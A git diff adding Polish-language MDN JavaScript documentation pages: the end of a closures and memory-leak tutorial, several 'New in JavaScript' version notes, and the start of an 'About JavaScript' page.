trivialNew(constructor) { + var o = {}; // Create an object + constructor.apply(o, arguments); + return o; +} +</pre> + +<p>This isn't an exact replica of <code>new</code> as it doesn't set up the prototype chain. <code>apply()</code> is difficult to illustrate - it's not something you use very often, but it's useful to know about.</p> + +<p><code>apply()</code> has a sister function named <a href="pl/Core_JavaScript_1.5_Reference/Global_Objects/Function/call"><code>call</code></a>, which again lets you set '<code>this</code>' but takes an expanded argument list as opposed to an array.</p> + +<pre class="eval">function lastNameCaps() { + return this.last.toUpperCase(); +} +var s = new Person("Simon", "Willison"); +lastNameCaps.call(s); +// Is the same as: +s.lastNameCaps = lastNameCaps; +s.lastNameCaps(); +</pre> + +<h3 id="Inner_functions" name="Inner_functions">Inner functions</h3> + +<p>JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier <code>makePerson()</code> function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:</p> + +<pre class="eval">function betterExampleNeeded() { + var a = 1; + function oneMoreThanA() { + return a + 1; + } + return oneMoreThanA(); +} +</pre> + +<p>This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.</p> + +<p>This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions - which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace - 'local globals' if you like. This technique should be used with caution, but it's a useful ability to have.</p> + +<h3 id="Closures" name="Closures">Closures</h3> + +<p>This leads us to one of the most powerful abstractions that JavaScript has to offer - but also the most potentially confusing. What does this do?</p> + +<pre class="eval">function makeAdder(a) { + return function(b) { + return a + b; + } +} +x = makeAdder(5); +y = makeAdder(20); +x(6) +? +y(7) +? +</pre> + +<p>The name of the <code>makeAdder</code> function should give it away: it creates new 'adder' functions, which when called with one argument add it to the argument that they were created with.</p> + +<p>What's happening here is pretty much the same as was happening with the inner functions earlier on: a function defined inside another function has access to the outer function's variables. The only difference here is that the outer function has returned, and hence common sense would seem to dictate that its local variables no longer exist. But they<em>do</em> still exist - otherwise the adder functions would be unable to work. What's more, there are two different "copies" of <code>makeAdder</code>'s local variables - one in which <code>a</code> is 5 and one in which <code>a</code> is 20.</p> + +<p>Here's what's actually happening. Whenever JavaScript executes a function, a 'scope' object is created to hold the local variables created within that function. It is initialised with any variables passed in as function parameters. This is similar to the global object that all global variables and functions live in, but with a couple of important differences: firstly, a brand new scope object is created every time a function starts executing, and secondly, unlike the global object (which in browsers is accessible as window) these scope objects cannot be directly accessed from your JavaScript code. There is no mechanism for iterating over the properties of the current scope object for example.</p> + +<p>So when <code>makeAdder</code> is called, a scope object is created with one property: <code>a</code>, which is the argument passed to the <code>makeAdder</code> function. <code>makeAdder</code> then returns a newly created function. Normally JavaScript's garbage collector would clean up the scope object created for <code>makeAdder</code> at this point, but the returned function maintains a reference back to that scope object. As a result, the scope object will not be garbage collected until there are no more references to the function object that <code>makeAdder</code> returned.</p> + +<p>Scope objects form a chain called the scope chain, similar to the prototype chain used by JavaScript's object system.</p> + +<p>A closure is the combination of a function and the scope object in which it was created.</p> + +<p>Closures let you save state - as such, they can often be used in place of objects.</p> + +<h3 id="Memory_leaks" name="Memory_leaks">Memory leaks</h3> + +<p>An unfortunate side effect of closures is that they make it trivially easy to leak memory in Internet Explorer. JavaScript is a garbage collected language - objects are allocated memory upon their creation and that memory is reclaimed by the browser when no references to an object remain. Objects provided by the host environment are handled by that environment.</p> + +<p>Browser hosts need to manage a large number of objects representing the HTML page being presented - the objects of the <a href="pl/DOM">DOM</a>. It is up to the browser to manage the allocation and recovery of these.</p> + +<p>Internet Explorer uses its own garbage collection scheme for this, separate from the mechanism used by JavaScript. It is the interaction between the two that can cause memory leaks.</p> + +<p>A memory leak in IE occurs any time a circular reference is formed between a JavaScript object and a native object. Consider the following:</p> + +<pre class="eval">function leakMemory() { + var el = document.getElementById('el'); + var o = { 'el': el }; + el.o = o; +} +</pre> + +<p>The circular reference formed above creates a memory leak; IE will not free the memory used by <code>el</code> and <code>o</code> until the browser is completely restarted.</p> + +<p>The above case is likely to go unnoticed; memory leaks only become a real concern in long running applications or applications that leak large amounts of memory due to large data structures or leak patterns within loops.</p> + +<p>Leaks are rarely this obvious - often the leaked data structure can have many layers of references, obscuring the circular reference.</p> + +<p>Closures make it easy to create a memory leak without meaning to. Consider this:</p> + +<pre class="eval">function addHandler() { + var el = document.getElementById('el'); + el.onclick = function() { + this.style.backgroundColor = 'red'; + } +} +</pre> + +<p>The above code sets up the element to turn red when it is clicked. It also creates a memory leak. Why? Because the reference to <code>el</code> is inadvertently caught in the closure created for the anonymous inner function. This creates a circular reference between a JavaScript object (the function) and a native object (<code>el</code>).</p> + +<p>There are a number of workarounds for this problem. The simplest is this:</p> + +<pre class="eval">function addHandler() { + var el = document.getElementById('el'); + el.onclick = function() { + this.style.backgroundColor = 'red'; + } + el = null; +} +</pre> + +<p>This works by breaking the circular reference.</p> + +<p>Surprisingly, one trick for breaking circular references introduced by a closure is to add another closure:</p> + +<pre class="eval">function addHandler() { + var clickHandler = function() { + this.style.backgroundColor = 'red'; + } + (function() { + var el = document.getElementById('el'); + el.onclick = clickHandler; + })(); +} +</pre> + +<p>The inner function is executed straight away, and hides its contents from the closure created with <code>clickHandler</code>.</p> + +<p>Another good trick for avoiding closures is breaking circular references during the <code>window.onunload</code> event. Many event libraries will do this for you. Note that doing so disables <a href="pl/Using_Firefox_1.5_caching">bfcache in Firefox 1.5</a>, so you should not register an <code>unload</code> listener in Firefox, unless you have other reasons to do so.</p> + +<div class="originaldocinfo"> +<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2> + +<ul> + <li>Author: <a class="external" href="http://simon.incutio.com/">Simon Willison</a></li> + <li>Last Updated Date: March 7, 2006</li> + <li>Copyright: © 2006 Simon Willison, contributed under the Creative Commons: Attribute-Sharealike 2.0 license.</li> + <li>More information: For more information about this tutorial (and for links to the original talk's slides), see Simon's <a class="external" href="http://simon.incutio.com/archive/2006/03/07/etech">Etech weblog post</a>.</li> +</ul> +</div> diff --git a/files/pl/web/javascript/new_in_javascript/index.html b/files/pl/web/javascript/new_in_javascript/index.html new file mode 100644 index 0000000000..179a7ed557 --- /dev/null +++ b/files/pl/web/javascript/new_in_javascript/index.html @@ -0,0 +1,10 @@ +--- +title: New in JavaScript +slug: Web/JavaScript/New_in_JavaScript +tags: + - NeedsTranslation + - TopicStub +translation_of: Archive/Web/JavaScript/New_in_JavaScript +--- +<p>Follow the links below to get to know about new features in JavaScript:</p> +<p>{{ tree('','1') }}</p> diff --git a/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.5/index.html b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.5/index.html new file mode 100644 index 0000000000..74bbc59612 --- /dev/null +++ b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.5/index.html @@ -0,0 +1,36 @@ +--- +title: Nowości w JavaScript 1.5 +slug: Web/JavaScript/New_in_JavaScript/Nowości_w_JavaScript_1.5 +tags: + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5 +--- +<p>Wersja 1.5 języka JavaScript została wzbogacona o nowe możliwości, takie jak:</p> + +<p><strong>Błędy czasu wykonania (runtime errors)</strong><br> + Błędy czasu wykonania są teraz zgłaszane jako wyjątki.</p> + +<p><strong>Udoskonalenie formatowania danych liczbowych</strong><br> + Nowe metody formatujące dane liczbowe: Number.prototype.toExponential, Number.prototype.toFixed i Number.prototype.toPrecision. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Number">Obiekt Number</a>.</p> + +<p><strong>Usprawnienie wyrażeń regularnych</strong><br> + Dodane zostały poniższe rozszerzenia wyrażeń regularnych:</p> + +<ul> + <li>Kwantyfikatory — +, *, ? i {} — poprzez dodanie na ich końcu znaku ? można wymusić, aby były niezachłanne. Zobacz wpis na temat ? na stronie <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%c5%bcenia_regularnego#U.C5.BCywanie_znak.C3.B3w_specjalnych">Zapisywanie wzorca wyrażenia regularnego</a>.</li> + <li>Non-capturing parentheses, (?:x) can be used instead of capturing parentheses, (x). When non-capturing parentheses are used, matched subexpressions are not available as back-references. See the entry for (?:x) on the <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%c5%bcenia_regularnego#U.C5.BCywanie_znak.C3.B3w_specjalnych">Zapisywanie wzorca wyrażenia regularnego</a> page.</li> + <li>Positive and negative lookahead assertions are supported. Both assert a match depending on what follows the string being matched. See the entries for x(?=y) and x(?!y) on the <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%c5%bcenia_regularnego#U.C5.BCywanie_znak.C3.B3w_specjalnych">Zapisywanie wzorca wyrażenia regularnego</a> page.</li> + <li>Dodano flagę m określającą, że wyrażenie regularne powinno objąć wiele linii. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_wyra%c5%bceniami_regularnymi/Globalne_wyszukiwanie%2c_wielko%c5%9b%c4%87_znak%c3%b3w%2c_wieloliniowe_wej%c5%9bcie">Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście</a>.</li> +</ul> + +<p><strong>Warunkowe deklaracje funkcji:</strong> Funkcje mogą być teraz deklarowane wewnątrz klauzuli <code>if</code>. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Definiowanie_funkcji">Definiowanie funkcji</a>.</p> + +<p><strong>Wyrażenia funkcyjne:</strong> Funkcje mogą być teraz deklarowane wewnątrz wyrażeń. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Definiowanie_funkcji">Definiowanie funkcji</a>.</p> + +<p>Wielokrotne klauzule <code>catch</code>: W jednym bloku <code>try...catch</code> może teraz występować wiele klauzul <code>catch</code>. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Instrukcje_obs%c5%82ugi_wyj%c4%85tk%c3%b3w/Instrukcja_try...catch#Blok_catch">Blok catch</a></p> + +<p><strong>Operacje dostępowe (gettery i settery):</strong> Programiści JavaScript mogą teraz stosować operacje dostępowe (tzw. getter i setter) dla tworzonych przez siebie obiektów. Ta możliwość jest dostępna tylko w implementacji JavaScriptu w języku C. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/Definiowanie_metod_pobierania_i_ustawiania">Definiowanie metod pobierania i ustawiania</a>.</p> + +<p><strong>Stałe:</strong> Obsługiwane są nazwane stałe tylko do odczytu. Ta możliwość jest dostępna tylko w implementacji JavaScriptu w języku C. Zobacz stronę <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Sta%c5%82e">Stałe</a>.</p> diff --git a/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.6/index.html b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.6/index.html new file mode 100644 index 0000000000..514bec084f --- /dev/null +++ b/files/pl/web/javascript/new_in_javascript/nowości_w_javascript_1.6/index.html @@ -0,0 +1,62 @@ +--- +title: Nowości w JavaScript 1.6 +slug: Web/JavaScript/New_in_JavaScript/Nowości_w_JavaScript_1.6 +tags: + - E4X + - JavaScript + - Wszystkie_kategorie +translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6 +--- +<p> +</p><p>JavaScript 1.6 wprowadza nowe funkcje i technologie: E4X, kilka nowych metod <code>Array</code> oraz rodzajów Array i String. +</p><p>JavaScript 1.6 jest obsługiwany w <a href="pl/Firefox_1.5">Firefoksie 1.5</a> i późniejszych. +</p> +<h3 id="E4X" name="E4X"> E4X </h3> +<p>ECMAScript dla XML-a (<a href="pl/E4X">E4X</a>) jest potężną technologią dla tworzenia i przetwarzania treści <a href="pl/XML">XML</a> przez <a href="pl/JavaScript">JavaScript</a>. Będziemy dalej usprawniać naszą obsługę E4X, włączając dodanie przezroczystej integracji z istniejącym <a href="pl/DOM">DOM-em</a>, jednak programiści tworzący internetowe aplikacje XML mogą korzystać z obsługi E4X w Firefoksie 1.5 już teraz. +</p><p>Możesz nadal używać standardowego typu MIME używając E4X: +</p> +<pre><script type="text/javascript"> +</pre> +<p>Jednakże składnia E4X może powodować konflikty z popularnymi praktykami umieszczania skryptów w komentarzach HTML (<code><span class="nowiki"><!--...--></span></code>) w celu ukrycia ich przed starymi przeglądarkami. E4X może również powodować konflikty z nowocześniejszą praktyką umieszczania skryptów w XML-owych sekcjach CDATA (<code><![CDATA{{ mediawiki.external('...') }}]></code>), aby umożliwić użycie symboli "<" oraz ">" w skryptach (zwróć uwagę, że nie dotyczy to HTML-a). Jeżeli napotkasz dziwne błędy składni, dodaj "; e4x=1" do wartości typu MIME: +</p> +<pre><script type="text/javascript; e4x=1"> +</pre> +<p>Zwróć uwagę, że skrypty w rozszerzeniach zawsze traktują komentarze HTML jako literały E4X. To znaczy, że "e4x=1" jest domniemany. +</p><p>E4X jest opisany w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Przetwarzanie_XML_za_pomoc%c4%85_E4X">Przetwarzanie XML za pomocą E4X</a> +</p> +<h3 id="Dodatkowe_funkcje_obiektu_Array" name="Dodatkowe_funkcje_obiektu_Array"> Dodatkowe funkcje obiektu Array </h3> +<p>Do obiektu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array">Array</a></code> zostało dodanych 7 nowych metod, które można podzielić na dwie kategorie: metody położenia elementów oraz metody iteratywne. Metody położenia elementów to: +</p> +<ul><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/indexOf">indexOf()</a></code> - zwraca indeks pierwszego wystąpienia danego elementu. +</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/lastIndexOf">lastIndexOf()</a></code> - zwraca indeks ostatniego wystąpienia danego elementu. +</li></ul> +<p>Metody iteratywne to: +</p> +<ul><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/every">every()</a></code> - wywołuje funkcję na elementach tablicy, dopóki funkcja zwraca wartość true. Zwraca wartość true, jeśli funkcja zwraca true dla każdego odwiedzonego elementu. </li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/filter">filter()</a></code> - wywołuje funkcję na każdym elemencie tablicy i zwraca tablicę wszystkich elementów, dla których funkcja zwraca wartość true. +</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/forEach">forEach()</a></code> - wywołuje funkcje na każdym elemencie tablicy. +</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/map">map()</a></code> - wywołuje funkcję na każdym elemencie tablicy i zwraca wyniki w postaci tablicy. +</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Array/some">some()</a></code> - wywołuje funkcję na elementach tablicy, dopóki funkcja zwraca wartość false. Zwraca wartość true, jeśli funkcja zwraca true dla każdego odwiedzonego elementu. </li></ul> +<p>Więcej infomacji można znaleźć na stronie <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_tablicami#Wprowadzone_w_JavaScripcie_1.6">Praca z tablicami</a> lub w artykule Nicholasa C. Zakasa, <a class="external" href="http://www.webreference.com/programming/javascript/ncz/column4/index.html">Nowe metody Array Mozilli</a>. +</p> +<h3 id="Rodzaje_Array_i_String" name="Rodzaje_Array_i_String">Rodzaje Array i String</h3> +<p>Czasami chcesz zastosować metody tablicy na łańcuchu znaków. Robiąc to traktujesz łańcuch znaków jako tablicę złożoną ze znaków. Przykładowo w celu sprawdzenia, czy wszystkie znaki w zmiennej <var>str</var> są literami, możesz użyć:</p> +<pre>function isLetter(character) { + return (character >= "a" && character <= "z"); +} + +if (Array.prototype.every.call(str, isLetter)) + alert("Ciąg '" + str + "' składa się z samych liter!"); +</pre> +<p>Taki zapis zajmuje stosunkowo dużo miejsca. JavaScript 1.6 wprowadza wygodne uproszczenie:</p> +<pre>if (Array.every(str, isLetter)) + alert("Ciąg '" + str + "' składa się z samych liter!"); +</pre> +<p>W podobny sposób możesz łatwo zastosować metody obiektu String do dowolnego obiektu:</p> +<pre>var num = 15; +alert(String.prototype.replace(num, /5/, '2')); +</pre> +<p>Zobacz także <a href="/pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_tablicami#Praca_z_obiektami_tablicopodobnymi" title="pl/Przewodnik_po_języku_JavaScript_1.5/Praca_z_tablicami#Praca_z_obiektami_tablicopodobnymi">Praca z obiektami tablicopodobnymi</a>.</p> +<p> </p> +<p> </p> + +<p>{{ languages( { "en": "en/New_in_JavaScript_1.6", "es": "es/Novedades_en_JavaScript_1.6", "fr": "fr/Nouveaut\u00e9s_dans_JavaScript_1.6", "ja": "ja/New_in_JavaScript_1.6", "ru": "ru/\u041d\u043e\u0432\u043e\u0435_\u0432_JavaScript_1.6", "zh-cn": "cn/New_in_JavaScript_1.6", "zh-tw": "zh_tw/JavaScript_1.6_\u65b0\u9bae\u4e8b" } ) }}</p> diff --git a/files/pl/web/javascript/nowości_w_javascript_1.4/index.html b/files/pl/web/javascript/nowości_w_javascript_1.4/index.html new file mode 100644 index 0000000000..cef8039309 --- /dev/null +++ b/files/pl/web/javascript/nowości_w_javascript_1.4/index.html @@ -0,0 +1,24 @@ +--- +title: Nowości w JavaScript 1.4 +slug: Web/JavaScript/Nowości_w_JavaScript_1.4 +tags: + - JavaScript + - JavaScript 1.4 +translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.4 +--- +<p><span class="hps">Funkcje, które</span> <span class="hps">zostały</span> <span class="hps">dodane w</span> <span class="hps">JavaScripcie 1.4</span> <span class="hps">obejmują:</span></p> + +<ul> + <li>Dodano <a href="/en/JavaScript/Guide/Obsolete_Pages/Exception_Handling_Statements" rel="internal" title="en/Core JavaScript 1.5 Guide/Exception Handling Statements">exception handling</a> (throw oraz try-catch)</li> + <li>Dodano operatory <code><a href="/en/JavaScript/Reference/Operators/in" rel="internal" title="en/Core_JavaScript_1.5_Reference/Operators/Special_Operators/in_Operator">in</a></code> oraz <code><a href="/en/JavaScript/Reference/Operators/instanceof" rel="internal" title="En/Core_JavaScript_1.5_Reference/Operators/Special_Operators/Instanceof_Operator">instanceof</a></code></li> + <li><a href="/en/LiveConnect" rel="internal" title="en/LiveConnect">LiveConnect</a></li> + <li><code>zmiany <a href="/en/JavaScript/Reference/Global_Objects/eval" rel="internal" title="En/Core_JavaScript_1.5_Reference/Global_Functions/Eval">eval</a> </code>(nie można używać pośrednio oraz usunięcie z metod <code>Object</code>)</li> + <li><code><a href="/en/JavaScript/Reference/Functions_and_function_scope/arguments" rel="internal" title="en/Core_JavaScript_1.5_Reference/Functions/arguments">arguments</a></code> nie jest już właściwością funkcji</li> + <li><code><font face="'Lucida Grande', 'Lucida Sans Unicode', Lucida, Arial, Helvetica, sans-serif"><span style="line-height: 19px;">Metodę uznano za przestarzałą </span></font><a href="/en/JavaScript/Reference/Global_Objects/Function/arity" rel="internal" title="En/Core_JavaScript_1.5_Reference/Objects/Function/Arity">Function.arity</a></code> na rzecz <code><a href="/en/JavaScript/Reference/Global_Objects/Function/length" rel="internal" title="en/Core_JavaScript_1.5_Reference/Objects/Function/length">Function.length</a></code></li> +</ul> + +<h2 id="Odniesienia">Odniesienia</h2> + +<ul> + <li><a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.4/reference/frames.html" title="http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.4/reference/frames.html">http://devedge-temp.mozilla.org/library/manuals/2000/javascript/1.4/reference/frames.html</a></li> +</ul> diff --git a/files/pl/web/javascript/nowości_w_javascript_1.8/index.html b/files/pl/web/javascript/nowości_w_javascript_1.8/index.html new file mode 100644 index 0000000000..bee5db7813 --- /dev/null +++ b/files/pl/web/javascript/nowości_w_javascript_1.8/index.html @@ -0,0 +1,135 @@ +--- +title: Nowości w JavaScript 1.8 +slug: Web/JavaScript/Nowości_w_JavaScript_1.8 +tags: + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8 +--- +<div>{{ Fx_minversion_header(3) }}</div> + +<p>Obsługa języka JavaScript w wersji 1.8 ma zostać wprowadzona wraz z wydaniem silnika Gecko 1.9 (który ma się znaleźć w programie <a href="/pl/docs/Firefox_3_dla_programistów" title="Firefox_3_dla_programistów">Firefox 3</a>). Jest to aktualizacja mniej znacząca niż <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a>; zmiany odpowiadają modyfikacjom dokonanym ostatnio w języku ECMAScript 4/JavaScript 2. W tym wydaniu zawarte będą wszystkie nowe funkcje wprowadzone w wydaniach <a href="/pl/docs/Nowości_w_JavaScript_1.6" title="Nowości_w_JavaScript_1.6">JavaScript 1.6</a> i <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a>.</p> + +<p>Aby zapoznać się z postępem prac nad rozwojem obsługi języka JavaScript w wersji 1.8, zobacz {{ Bug(380236) }}.</p> + +<h3 id="Korzystanie_z_j.C4.99zyka_JavaScript_1.8" name="Korzystanie_z_j.C4.99zyka_JavaScript_1.8">Korzystanie z języka JavaScript 1.8</h3> + +<p>Aby skorzystać z nowych własności języka JavaScript 1.8 w kodzie HTML, należy użyć następującego kodu:</p> + +<pre class="eval"> <script type="application/javascript;version=1.8"> ... twój kod ... </script> +</pre> + +<p>W przypadku korzystania z <a href="/pl/docs/Wprowadzenie_do_powłoki_JavaScript" title="Wprowadzenie_do_powłoki_JavaScript">powłoki JavaScript</a>, komponentów XPCOM języka JavaScript lub elementów <code><script></code> w języku XUL automatycznie używana jest najnowsza wersja JS (JS1.8 w Mozilli 1.9); patrz {{ Bug(381031) }} i {{ Bug(385159) }}.</p> + +<p>W przypadku korzystania z funkcji, w których wymagane jest użycie nowych słów kluczowych <code>yield</code> i <code>let</code>, należy określić, że używana ma być wersja języka 1.7 lub nowsza — w istniejącym kodzie te słowa kluczowe mogą być bowiem nazwami zmiennych lub funkcji. Funkcje, w których nie wprowadzono nowych słów kluczowych (takie jak <a href="#Wyra.C5.BCenia_generator.C3.B3w">wyrażenia generatorów</a>), mogą być używane bez określania wersji języka JavaScript.</p> + +<h3 id="Domkni.C4.99cia_wyra.C5.BCe.C5.84" name="Domkni.C4.99cia_wyra.C5.BCe.C5.84">Domknięcia wyrażeń</h3> + +<p>Ta nowość to nic innego jak skrót do pisania prostych funkcji, dodający do języka konstrukcję podobną do <a class="external" href="http://pl.wikipedia.org/wiki/Rachunek_lambda">notacji lambda</a>.</p> + +<p><a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a> i starsze:</p> + +<pre class="eval"> function(x) { return x * x; } +</pre> + +<p>JavaScript 1.8:</p> + +<pre class="eval"> function(x) x * x +</pre> + +<p>Taka składnia pozwala pominąć nawiasy i wyrażenie <code>return</code> - są one dodawane automatycznie. Nie ma żadnej dodanej wartości w pisaniu z wykorzystaniem tej notacji, poza tym, że sam kod staje się krótszy.</p> + +<p><strong>Przykłady:</strong></p> + +<p>Skrót do podpinania nasłuchiwania zdarzeń:</p> + +<pre class="eval"> document.addEventListener("click", function() false, true); +</pre> + +<p>Użycie nowej notacji w połączeniu z niektórymi funkcjami tablic z <a href="/pl/docs/Nowości_w_JavaScript_1.6" title="Nowości_w_JavaScript_1.6">JavaScript 1.6</a>:</p> + +<pre class="eval"> elems.some(function(elem) elem.type == "text"); +</pre> + +<h3 id="Wyra.C5.BCenia_generator.C3.B3w" name="Wyra.C5.BCenia_generator.C3.B3w">Wyrażenia generatorów</h3> + +<p>Ten dodatek pozwala na proste tworzenie generatorów (które opisano w <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a>). Wcześniej konieczne byłoby stworzenie własnej funkcji zawierającej w sobie wyrażenie yield, jednak ten dodatek pozwala na użycie składni podobnej do <em>wyrażenia tablicowego/listowego</em> (ang. array/list comprehension) do stworzenia identycznego wyrażenia generatora.</p> + +<p>Wykorzystując <a href="/pl/docs/Nowości_w_JavaScript_1.7" title="Nowości_w_JavaScript_1.7">JavaScript 1.7</a> w celu stworzenia własnego generatora obiektu kod wyglądać mógłby następująco:</p> + +<pre class="eval"> function add3(obj) { + + for ( let i in obj ) + yield i + 3; + } + + let it = add3(someObj); + try { + while (true) { + document.write(it.next() + "<br>\n"); + } + } catch (err if err instanceof StopIteration) { + document.write("End of record.<br>\n"); + } +</pre> + +<p>W JavaScript 1.8 można pominąć tworzenie własnej funkcji generatora wykorzystując w zamian następujące wyrażenie generatora:</p> + +<pre class="eval"> let it = (i + 3 for (i in someObj)); + try { + while (true) { + document.write(it.next() + "<br>\n"); + } + } catch (err if err instanceof StopIteration) { + document.write("End of record.<br>\n"); + } +</pre> + +<p>Wyrażenia generatora mogą być także przesłane do funkcji jako wartości. To rozwiązanie jest szczególnie warte uwagi odkąd generatory uruchamiane są wyłącznie gdy są kategorycznie potrzebne (w przeciwieństwie do typowych sytuacji wykorzystujących wyobrażenie tablicy, gdzie tablice tworzone są wcześniej). Przykład pokazujący różnice w tych rozwiązaniach znaleźć można poniżej:</p> + +<p>Wykorzystując JavaScript 1.7 Wyrażenie Tablicowe</p> + +<pre class="eval"> handleResults([ i for ( i in obj ) if ( i > 3 ) ]); + + function handleResults( results ) { + for ( let i in results ) + // ... + } +</pre> + +<p>Wykorzystując JavaScript 1.8 Wyrażenia Generatora</p> + +<pre class="eval"> handleResults( i for ( i in obj ) if ( i > 3 ) ); + + function handleResults( results ) { + for ( let i in results ) + // ... + } +</pre> + +<p>Znaczącą różnicą pomiędzy tymi dwoma przykładami jest to, iż dla wyrażeń generatora konieczne jest wykonanie pętli dla struktury 'obj' tylko raz, podczas gdy dla Wyrażenia Tablicowego konieczne jest wykonanie pętli raz w celu stworzenia wyobrażenia tablicy oraz drugi raz podczas iteracji po jej elementach.</p> + +<h3 id="Dodatkowe_zmiany_w_obiekcie_Array" name="Dodatkowe_zmiany_w_obiekcie_Array">Dodatkowe zmiany w obiekcie Array</h3> + +<p>W języku JavaScript 1.8 dostępne są dwie nowe metody iteracyjne obiektu <code><a href="/pl/docs/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array" title="Dokumentacja_języka_JavaScript_1.5/Obiekty/Array">Array</a></code>:</p> + +<ul> + <li><code><a href="/pl/docs/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduce" title="Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduce">reduce()</a></code> - wywołuje funkcję dla każdego elementu z tablicy i zachowuje wyniki z poprzednich wywołań.</li> + <li><code><a href="/pl/docs/Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduceRight" title="Dokumentacja_języka_JavaScript_1.5/Obiekty/Array/reduceRight">reduceRight()</a></code> - wywołuje funkcję dla każdego elementu z tablicy i zachowuje wyniki z poprzednich wywołań, lecz w odwrotnej kolejności.</li> +</ul> + +<h3 id="Changes_in_destructuring_for..in" name="Changes_in_destructuring_for..in">Zmiany z usuwaniem elementów tablicy w pętli for..in</h3> + +<p>TBD: mention <a href="/pl/docs/Nowości_w_JavaScript_1.7#Iterowanie_przez_obiekty" title="Nowości_w_JavaScript_1.7#Iterowanie_przez_obiekty">Nowości w JavaScript 1.7#Iterowanie przez obiekty</a> ({{ Bug(366941) }}).</p> + +<p><br> + <font><font face="Georgia, Times, Times New Roman, serif"><span style="font-size: 20px;"><strong>Nadchodzące zmiany</strong></span></font></font></p> + +<p><span style="line-height: inherit;">Zmiany w JavaScript 1.8 włączają również:</span></p> + +<ul> + <li>Kodowanie i dekodowanie danych w JSON.</li> + <li>Składnia funkcji Slice.</li> + <li>Generalized destructuring <code>for...in</code> (czy znaczy to coś innego niż <a href="#Changes_in_destructuring_for..in">#Changes in destructuring for..in</a> ? --<a href="/User:Nickolay" title="User:Nickolay">Nickolay</a> 10:52, 9 Wrzesień 2007 (PDT))</li> +</ul> diff --git a/files/pl/web/javascript/o_javascript/index.html b/files/pl/web/javascript/o_javascript/index.html new file mode 100644 index 0000000000..26c921724f --- /dev/null +++ b/files/pl/web/javascript/o_javascript/index.html @@ -0,0 +1,57 @@ +--- +title: O JavaScript +slug: Web/JavaScript/O_JavaScript +translation_of: Web/JavaScript/About_JavaScript +--- +<div>{{JsSidebar}}</div> + +<h2 id="Co_to_jest_JavaScript">Co to jest JavaScript?</h2> + +<p><strong>JavaScript</strong><sup>®</sup> (w skrócie <strong>JS</strong>) jest lekkim, interpretowanym, zorientowanym obiektowo językiem z funkcjami <a href="https://en.wikipedia.org/wiki/First-class_function" title="https://en.wikipedia.org/wiki/First-class_function">pierwszej klasy</a>, i jest najbardziej znany jako język skryptowy dla stron sieci Web, ale jest także <a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">używany w wielu innych środowiskach niż przeglądarka</a>. It is a <a class="mw-redirect" href="https://en.wikipedia.org/wiki/Prototype-based_programming" title="Prototype-based">prototype-based</a>, multi-paradigm scripting language that is dynamic, and supports object-oriented, imperative, and 